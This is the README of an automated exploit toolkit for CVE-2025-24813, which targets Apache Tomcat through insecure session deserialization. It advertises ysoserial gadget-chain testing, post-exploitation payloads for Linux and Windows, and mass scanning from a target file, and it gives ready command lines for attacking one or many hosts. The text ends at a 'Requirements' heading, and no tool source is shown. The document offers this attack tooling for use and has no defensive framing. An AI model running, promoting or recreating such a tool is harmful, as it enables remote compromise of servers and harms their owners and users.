CVE-2025-24813 Exploit Toolkit

This is an advanced and automated exploitation tool for CVE-2025-24813, targeting Apache Tomcat servers vulnerable to insecure session deserialization.

🔍 Features

• Multi-target scanning from file or single URL (--targets / --url)
• Automatic gadget chain testing (CommonsCollections1-7, BeanShell, Spring, etc.)
• OS detection and post-exploitation payloads (Linux/Windows)
• Session ID discovery from common endpoints
• Verbose logging to both console and file
• TLS (HTTPS) support with optional SSL verification disabling

⚙️ Usage

# Single target
python3 exploit_cve_2025_24813.py \
  --url http://target:8080 \
  --ysoserial ysoserial.jar \
  --no-ssl-verify

# Multiple targets from file
python3 exploit_cve_2025_24813.py \
  --targets targets.txt \
  --ysoserial ysoserial.jar \
  --no-ssl-verify

📥 Requirements